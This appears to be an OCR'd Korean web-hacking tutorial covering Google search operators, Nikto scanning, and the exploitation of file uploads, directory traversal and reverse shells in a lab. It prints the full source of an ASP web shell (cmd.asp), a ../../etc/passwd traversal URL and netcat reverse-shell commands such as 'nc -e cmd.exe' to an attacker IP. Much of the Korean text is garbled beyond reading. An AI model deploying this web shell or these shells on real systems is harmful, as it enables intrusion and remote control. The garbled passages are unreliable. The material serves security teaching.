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1. IntelliTemper (http://www.intellitamper.com/download.php)
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“=20AM AtEote Ue &4 Jls

A 2217) g 3 o
site: ig ;‘:;;_l ?/l\i]ig g Z}é;% i Abol Eo A A st = w4t VES
filetype: iﬁég;‘i;?& o gajA AMslEE Ex7F E0E VES
link: FARHA At = 2AE 2= A EE A NO
cache: | 574 Aol siFste HAE FHo|AE BAF NO
ntitle: f;%l_xu ASel AAskE = EAE S0 A ES NO
nurl: i 2114 URLel AAste = 247 So1= Al ES NO
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S MOIXLOll CHEE AFE ©

1.site OlHl : S8 AMIOIESHS dEHA HME [ AIS
Ol) site:wishfree.com admin
— wishfree.com AIOIEONIA admin 2XE€= &= [ AI=

2. filetype O Xl : EX I EFQ 0l CHoll ZAHEF [ Al
Oll) filetype:txt INA R E
- HIAE Y S IHARKED} L& 2XHESE
3. Link OIMl : EE F=AJ 3= HOIKE S M

o) link:www.fishfree.com
— www.wishfree.com AIO|EE & 3ot Y= AIOIEE &S

1
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“=20AM AtEote Ue &4 Jls

2t SAL0 Liet AiE 8

4. cache OlKl : SE MOIEEtS HEoHA Z 44
Ol) site:wishfree.com admin
S X2 A=

— wishfree.com AIOIE WA admin Xt

FIHAFE

ok

5. intitle GlXMl - S& L EFZ 0 Lol ZAAE M ArS

Oll) filetype:txt INA R E
-~ HIAE Y =S IHAKED} Z&E 2XEE S I A2
6. inurl CIlAl : E& =AD& 3= HOIXE S I A

o) link:www.fishfree.com
— www.wishfree.com AIO| &



M A Aol HAMHZ 1|6t= B E
Mo & Cl2EL| 0 robots.txt IIYLS S HMHE &= QL) Ot
= &= QUCH WE =0, http://www. W|shfree com/robots.txt It
O] U_SH 22 HM AHIKXKIZ2 robots.txtl]| U= ClEELISI 7=
Ol HEols BE22 HMEIX =L

robots.txt It 2| L8IE2 = o 2E=2 AL QULH.

e User-Agent: SE& M ol X022 2| HAMS ot

(0il) User—Agent: googlebot (12 222 £H 2¢43)
e Disallow : S48 It L= Ll &ECE 2X0| ZMGHAl =0t
otJ| floll AtZ

(0dl) Disallow: dbconn.ini

(0ll) Disallow: /admin/

0|0
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2 A3Hdol e

SAKHAIA F A5t LeAE HTTP 23 (Request)
CHAH AIAEL0] Ol Ofl CH
HIOIXIS &M 6F &

5t S€
Fot NS stolst & QICt

Nis " "@CGIDIRSEmailform. exe”,"200°,"GET"."This might be interesting.., has been seen in web logs from a scar
“iis","@CGIDIRSms _proxy _auth_query/”."200°,"GET"."Thiz might be interesting... has been seen in web logs fr
Mgt "@CGIDIRSpost] B exe”, 2007, "GET"."This might be interesting.., has bean sean in weh logs from a scann
“novell”."perlfiles. pl®."200°","GET"."This might be interesting...”

‘novell”."fperSfiles pl","200""GET"."This might be interesting...”

‘novell”,Yscripts/convert, bas®, 200", "GET","This might be interasting,.
“oracle”."/fowa_util%Zesignature”,"200°,"GE T, "unknown--may be interesting”

‘website","/cai-dos/args. bat","200" "GET"."This might be Interesting..."

“website”,/sam", 200, GET","This might be interesting...”

“wabsite”,Ysam. bin","200°,"GET"."This might be interasting...”

“website®, Yeam. 2000 GET."This might be interasting...”

Attacker Response Return Code
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()

(http://www.cirt.net/code/nikto.html)

=} Mikto - Mic

soft Internet Explorer
OFcEy mECE) =2I SAFE BRIy =FEH)

2 .o - Q0 & @ze mzaz @uon 3 RB- 20 -3 H

ZFa(Dy |@ http /S wewewy, cift, net/code/nikto, shiml

-] pois @ >
rY

CIRT.net

Top-Rated Spyware Remover
Free Scan, advanced Spyware and
Adware rermaoval - Download Maw!

Ads by Goaogle

Prevent Hacking
TrafficShield Hacker Protection Prevent
Financial & Data Losses

Default Passwords

Cefault Wireless SSIDs
Cefault Paort List

Mikta Wweb Scannar
Moving Target Forms
Messus Plugins

Suscicion Breeds Confidence

CIRT.net Code
Mikto | htmap | YaHa | Moving Target | Messus Pluging | In Progress

Nikto 1.32

Core version 1,19

Download
YVersion 1.32 | Plugins & DBs | Nikto Loot

More...

Advisories

Ew FileManager Ratrieval
cPanel File Retrisval
Panel ®5§

Crnrnnn Path Disclosnre

Update
Submit updates for Mikio databases.

De=scription
MNikto iz an Open Source (GPL) web server scanner which

~ L

I EE

L
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 nikto-1.32 _ O] x|
| IE BEE I BHERIE D ESZH e
Q- @ - ¥| Pz= (=0 [
| (D |[ﬁ CScannerttnikio-current tarfnildo-1,32 -l 0=
«|0E - | 37| &8 [ES=kr |
0 9 24 3y J@q_q_g;g____ EETE 2004-08-08 2= B:22
= ypluging e E04 2004-08-08 2= 6:22

@ 0N N =0 5= %] config.tt KB BHAE SN 2003-10-24 @= 12:03

Q EHE SIH H Al LR nikto, pl KB PL DM 2003-10-28 2# 11:03

B 20 =8

[

4 HA |10,0KB | L 2 EH 4
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3. ActivePerl2 & X|&tLl.

AR 2 MHMOUA Perl= &&ol)| ?IoH ActivePerl2 & X|StL}.
http://www.activestate.com/Products/ActivePerl/

2§ ActiveState - ActivePerl free Perl open source binary language distribution - Dynamic Tools for — o ]

| DEE BEE 2 SHEIS EXD ESWH) | a
= / () 2l —'n‘— =Nt

[Q72-©- ¥ @ B s eem @uuo @0 L ®- @

J—’f—_’t(Q)@http:j/www,activestate,cum/F‘mducts/ActweF‘erI/ J . =1 0= | EZE"

- Illf/ ,—\
AGt“’GSlale Dyramic Tools for Dynamic Languages I Perl | PHP | Python | Tel | XSLT

TOOLS LANGUAGES OEM LICENSING ACADEMIC SUPPOR ESOURCES COMPANY  STORE

Home = Producks = Languages = ActivePerl

ActivePerl DOWNLOAD

The industry-standard Perl distribution for Linux, Solaris, and Windows elf Na—

ActivePerl is ActiveState's quality-assured, ready-to-install distribution of Perl, available
for Linux, Solaris and windows. As part of ActiveState's suppart for Perl, we provide
the ActivePerl distribution free to the cormmunity . PRODUCT INFORMATION
Overviem

Features

Systemn Requirements

ActivePer]l contains core Perl, popular modules, the Ferl Package Manager {for installing
CPAM packages) and complete anline help.

DEM LICENSIMNG

@ ) L e .. . . f— . . 2 - l—l—l_lagaﬁ

| KN
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S X (B Ha S5)
ETERTPS 2 x|
~AEZM HEF AL A B (LD
.-k | ﬂ' .
CL.-*-‘-.SSF‘ATH CProgram FilesWMNACFClientWMACFCS:
include C%Program FilesWMicrosoft Visual Stu,
lib C'#%Program Files¥Microsoft Visual Stu,
kS DewDir C¥Program Files¥Microsoft Visual Stu,
path CitProaram Filestiicrosof Visual Stu.” x|
M2 27 | BEE) AHD) |
A B B els
EES 7 =]
MUMBER_OF_PR,,. 1
0 Wlndnws MT J
M2 e [ mE AHL |
=H0| |t
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4. NiktoE 4!

- M85

C:WScannerWni

Iife

g Adjds

& 5t
|.b Ho
L B9

—

Ct.
o}
kt

==
S

FSOEA nikto.pl I =
to—current.tarWwnikto—1.32Whnikto.pl

X
=]

N g
e R

ol

A
L

Oled
= /M

otd =Lt

=10l

x|

C:Scannerthikto—current.tartmikto—1.32*nikto.pl
—x36% SEL support not available <zee docs for S58L install instructions) e

— Mikto 1.32-1.19

Options:
—Cgidirs
' Aogist
—cookies
—evasion+
—findonly
lan
—Format

—generic
—host+
—id+
lsword
—mutate+
—nolookup
—output+
—port+
—root+
irectory

wuw.cirt.net

Scan these CGI dirs: ‘none’.

‘all’ . or a value like

print cookiesz found

ids evasion technigue (1-%,. see helou>

find http{s> ports only. don’'t perform a full sc
save file ¢—o> Format: htm, csv or txt C(assumed>
force full {generic? scan

target host
host authentication to use,. format is userid:pas

mutate checks (zee bhelowl

skip name lookup

write output to this file

port to use <default F@>

prepend root value to all requests, format is ~d

[

J

-
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Mg - AI

=

2 AHLS BT

HAE Jisst AHE UASCEZ AJE 2 A|E=SHCE.
0ll) nikto.pl =h www.victim.com

IC:

e §51, zsupport not available <(see docs for S55L dinstall dinstructions) e

EH [ T

Wicannertinikto—current. tartmikto—1.32>nikto.pl —-h wvww.victim.co.kp -

+ + + +

Mikteo 1.32-1.19% = www.cirt.net
Target IP: 127.8.8.1

Target Hostname: wwu.victim.co.ke

Target Port: 80

Start Time: Sun Aug 8 19:-44:18 28084

+

+

+

+

+

+

+

+

ttp:/7127.8.8.1/index.html". CAN-2B00-06497.

UNLOCK

to get directory listings if indexing is allowed but a default page exists.
running.

i .

ecurity.comswhitehat —mirror-WhitePaper_screen.pdf for details <(TRACE>
+ / — TRACK option ¢'TRACE’ alias? appears to allow X85 or credential theft. Se :j

Scan is dependent on "Server' string which can be faked, use —gq to override
Server: Microsoft-IIS~/5.0

II8 may reveal its internal IP in the Content—Location header. The value is "h_J
Allowed HTTPF Method=s: OPTIONS,. TRACE. GET. HEAD. COPY. PROPFIND. SEARCH,. LOCK.
HTTF method °‘PROPFIND' may indicate DAUAUebDAU is dinstalled. This may be used
HITF method ‘SEARCH' may be used to get directory listings if Index Server is

HTITP method ‘TRACE’ is typically only used for debugging. It should be disahbl

Microsoft-IIS/5 .8 iz outdated if server iz Win2BBA (4.8 iz current for NI 4>
/ — TRACE option appears to allow X85 or credential theft. See http:r wwu.cgi

-20-



Nikto 2| =

SN

—

A 7% AR}
—Cgidirs(-C) CGl ¥ EZE ~7)d 3t} none, all, /cgi/¢t &2 HEEe
—cookies F717F A BolE, NO
—evasion IDSE $-3]3517] Y&l URLS Q19 ghrt 1~97} A & glko] &of1tt.
—findonly QA http(s) TEEZ Z=1} -

—Format A3} g o] ¥ulg XA 3k} htm, csv, txt
—generic dWrA o= HA| 235 Tt -

—host(=h) »~Nd s YArS =1 -

-id S AE ol=o] Q3 H9- ALg3t) userid:password
—output(-o) A= vd 2 A3k} filename
—port(-p) 2HEE X EE AT (HEEE 80) e LE HE
~ssl| https(SSL) & ©] &3k SH| ol A& =70 -

—vhost M TREE ALSE o T ZAE o] &

—update
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1. 1 8=

- It HZE(File Upload) &2 32 2 T2 - E of
o AIAEIOI R ESH0 BASHE YHS LB IIY RCE

DA OISO IRV AT FEAOIL TISEIH 2 B2 2HOIC
S A2 ZAXIL AIAE WP HEOE AAZ = A= &
T2 (ASPLE JSP, PHP)E MIZGH0 READ 20| THLS ¢
2O 4 Qe RO 2AUR T2IWS P2CHC J2/D 0 2
2g T2US AN SAH2HE 0125 H2510 AIAEH U=
HHANE 4HAIZ = A & Ol CH
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WEEY HIA SHFIA) I SR

c=$|§.z>.°ﬁ|

24 @A Qoon 3 RB- 86 -3

Za(D) |@ hittp i/ S, victim, co, kr/wasabimilk/anebbs/aneboard_write asp

A=

0|IE Ol 22t
1T =T ey [
E-mail anesra@wasahimilk.love

A= oY HR2E HAE

HTML | ¢ xg Cuizg

oY Hzc dAE -
HE
WHESE  |anebbsPuploady e

HOIE2L.. (EIH am)

a
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FLHEED - Microsoft Internet Explorer
SHEN(A) (T EEE(H)

|@ hittp /A e, ictinn, co, keSwasabimilk/anebbs fuploadcrd _asp.asp

OHiFy ME(E) 2
=92 .= - Q0 & @z mzrx Quon 3 B-SE-EHH
a0 @ http /Ao, viction, oo, ke fwasabimilk/anebbs faneboard _view, aspPnum=21 j @l HE »
-l
LiE52|
Ol |ohdl22t £=2 (2004-08-02 2% 11E0O0
Email |anesra@wasabimilklove 5 |2
H= | HE=HAE
= oe 9z= A
HL  [cmd_asp.asp (E7ZHHIIE)
|l =Ec=2
=l
R EEE 4

=24 -



W, sabimilk/anebbs/upload/cmd_asp, asp - Microsoft Internet Explorer
iFy HEE) EXM SHFIA) (T EsZH)

I
wHE .= - @ [ | @ze mEazn Goon & B- S0 - 3B

(D) I@ http &/ A, wictim, c o, kr/wasabimilk/anebbs/upload/cmd_asp, asp

-] pos @2 >
-

|ipconfig Fun

HHOSAMAY | USR_OSAMA

Windows 2000 |P Configuration

Ethernet adapter 22 ©@H MHZ:

Connection-specific DNS Suffix S
IP Address., . . . 0 . . 0 192,168,110

Subnet Mask . . . . . 000 © 285,285 B8R0

Default Gateway . . . . . . . . . T192.168.1.1

[T [ 2Ew

s L
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o AlsH T2 T)ei(cmd.asp) =4

<%@ lLanguage=VBScript %>
<%
Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempfFile

On Error Resume Next

'—— 220 AIE2E COM ZHAIE MY —

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

—— ZSOZFH B0I2 g2 szCMD B0 M& —-
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

szTempFile = "C:W" & oFileSys.GetTempName( )

‘——HINHE Aot 1] Z2E szTempFileOl M &8tC, —-7

Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
C—— Al Y S S M oFile H=0 M&ESEHCH -

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If

%>

- 26 -
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|_OI Al
=2 =2

02t

T2 ) (cmd.asp) =4

<HTML><BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM> <PRE>
‘—— ZHEH OIS AN 0SS SEEHL -
<%= "WW" & oScriptNet.ComputerName & "W" & oScriptNet.UserName %>
<pbr>
<%
If (IsObject(oFile)) Then
M AHSH UAl IS LHEE S0 StHN EWHE = LAl T
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempfFile, True)
End If
%>

</BODY> </HTML>
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3. g &2

2. Cl|2Ee| &M (Directory Traversal)

- 2 SRIHOIA B0l JsE ARO| AR S2IIIH SH A
=

A8 IEs UEzbote &3 80U, =20 =ci2t IHEs
228 i M2 U228 T2 )80 It Jtd2=dl, O
ItE 0|S= 28 EotAl HOF Ediot= FHEO|L
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SZ A= filename H=0l| di&ot= gtS LS4 20l =& otH
? CIMECIZ Hsel SctJt /etc/passwd Lt 22L&
A= AHOILC.

ne
1]
[w
HU J
N
o
1> 0

http://www.victim.com/board/down.jsp?filename=../../../../../..
/..]..]..]..]..]etc/passwd
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3. g &2

3. Cl2Ee| e|AE (Directory Listing)
N CHECE B2 MUA &6t 1

- %o E M

= o CleEe| =2 |50 HEEC SA K= 0 HAES
OIZ5HO & MEHOI O[S THUO| QUK OIS & D IR
Ol ZH FAHS FS 4 UCH
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CIf&Ee| 2lAE

L= g2 UREL dAE FHAE 0| EMot= 2tEH 0L

4} Directory Listing For /bbs/ — Microsoft Internet Explorer ol x|
| mEE HEE BN SARAE EAD ESUH) |-#
(= -0 =@ B e rwm @uoo @[ (- . B - i
(D) |&] hitp://192, 168, 1, 10:080/bbs,/ Bos [[a=z >
=

Directory Listing For /bbs/ - Up To /

Filename Size Last Modified
anehoard write.jsp 3.6 kKb Bun, 25 Jul 2004 16:55:49 GMT
anchboard write check.jsp 2.0 kb Sun, 25 Jul 2004 07:43:49 GMT
ancbhoard write ok.jsp 1.5 kb Zun, 25 Jul 2004 17:36:53 GHMT
anehoard write okl.dsp 2.4 kh Bun, 25 Jul 2004 0O7:42:52 GMT __|
aneboard write oki.jsp 2.1 k= Sun, 25 Jul 2004 17:28:56 GMT
del check.isp 1.4 kk Thu, 27 Mar 2003 06:25:08 GHMT
del end.jsp 0.9 kb Mon, 27 Jan 2003 0Z:0Z2:00 GMT
iﬂgi Sun, 25 Jul 2004 04:45:50 GMT
list.jsp 7.6 Kk Thu, 27 Mar 2003 06:14:15 GHMT
vamdd Frr San 3.3 kb Thu. 27 Mar 2003 06:23:56 GMT

a B

BE: [ e
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— Zte| X HIOIXILE e150| 2 Rst HIOIXIof CHet @1& OlXel2

Olal 21S5= R2lol B85 == U= HALEO0ILE Ol AT <
ST/ 2B AIES AL 2 01I6HA &2 AFE A 22l A+ HI Ol X Off
B0l &l Hetil=s & = Y= Be JlssS FEE = U
=IC Olgd HYEZ2 2tHolk|Bte 2|22 & JHE R A= A=
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4. 2|H A &Yl(Reverse Telnet)

2IHA QU J|E2 YErH0| EMGHE ANARS DAE O K=
AHEEli= JIE0ICH 2ate NAOIN QU2 S T2 (QIRUA et
= LHSE S0IRE IR0 He H2)2 AstHoZ g0 BE 9
Ol 2ot LE L= O U0 E=Ch 2L OFRUI2E & 2(L
SHM ARR U2 [)S 25 HOIE UEYS $86HK s 2
20t BCH Ol28t AN 2ItHA SIS K8 JIH0IC
ABINOZ BAXE= & AHO 808 TERS| H22 JHsatCh
DefLt ot Ho| QA LIR0IA QRE Ll ZMe os
SI2010| 20 & MHHOIA 22X HBEH SOZ 2lA 2y
ANEE SHe 20| JHs8t 2H0ICH
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clHA Edlo] =& 2|

O Ty

A}
Inbound: deny all, 80 open
Outbound: allow all

d Ab WM Ay
DMZ Avesra
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Ethernet adapter UMware MHetwork Adapter UMnet8:

C-Wrnc

Connection—specific DHNS Suffix

IF Address. . .
Subnet Mask . .
Default Gateway

[Ethernet adapter UMware

Connection—specific

IF Address. . .
Subnet Mask . .
Default Gateway

Connection—specific

IF Address=s. . .
Subnet Mask . .
Default Gateway

-1 —p 88

Hetwork Adapter

DNS Suffix

[Ethernet adapter |—‘||§-?—-|3 EE,I}"H:

DHS Suffix

1922168 .41 .1
255.255.255.8

UMnetl:

1?22.168.2.1
255.255.255.8

192 .168.1.149
255 255 .255.8
1922 .168.1.1
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siol o

Edl
=

Lo Al AFEUA 22 A BFE=Z elHA U2 A&,
A inc—ecmd.exe [E2XHIP] 80 (RER AHEL)

nc —e /bin/sh [2A Xt IP] 80 (RYA H L)

E -nc -e cmd, exe 192,168, 1,149 80

C:Wripconfig 3

Eindnws 2008 IP Configuration

thernet adapter = HS 4.

Connection—specific DMS Suffix

IP Addres=s. . . . . . . . . . . . = 192_168.1.18
Subnet Mask . . . . . . . . . . . = 255 255 2558
Default Gateway . . . . . . . . . = 192_168.1.1

C:W>nc —e cmd.exe 192.168.1.149 8@
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=
2% HEEO DK Z2EEQ HMUE =

e M8 I HMUE - nc -1 —p 80

Connection—specific DMS Suffix
IP Address. - - - - - - .
Subnet Mask . . . . . . .
Default Gateway . . . . . . . .

C:Wmnmc -1 —p 8@
CC» Copyright 1785-17?7 Microsoft Corp.

C:Wripconfig
ipconf ig

Einduws 2880 IP Configuration

thernet adapter =2 4™ HA:
Connection—specific DMS Suffix
IP Addres=s. - - . . - - -

Subnet Mask . . . . . . .
Default Gateway . . . . . . . .

Microzoft Windows 2088 [Uersion 5.88.21951

[Ethernet adapter L|EFE =2 S2|A|:

Ol

cC
—

=101 %]

192.168.1.149
255.255.255.8
192.168.1.1

192.168.1.1A4
255 .255.255.8
192.168.1.1
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clHA &4

2l A HUS ARSI 213 netcat(=nc) TR IS 0| 0| E3}
=0, noteat 2t 84 1520 0L 23Hel Jiis S W2
T2 )80(CH.

clHA EYls 3| flet S -
2IHA el 21s
Jls= EXMolH EZol0F ot 12, &atH2| Ot Ht2E 2 HA

S HotH HEolOF StLY.
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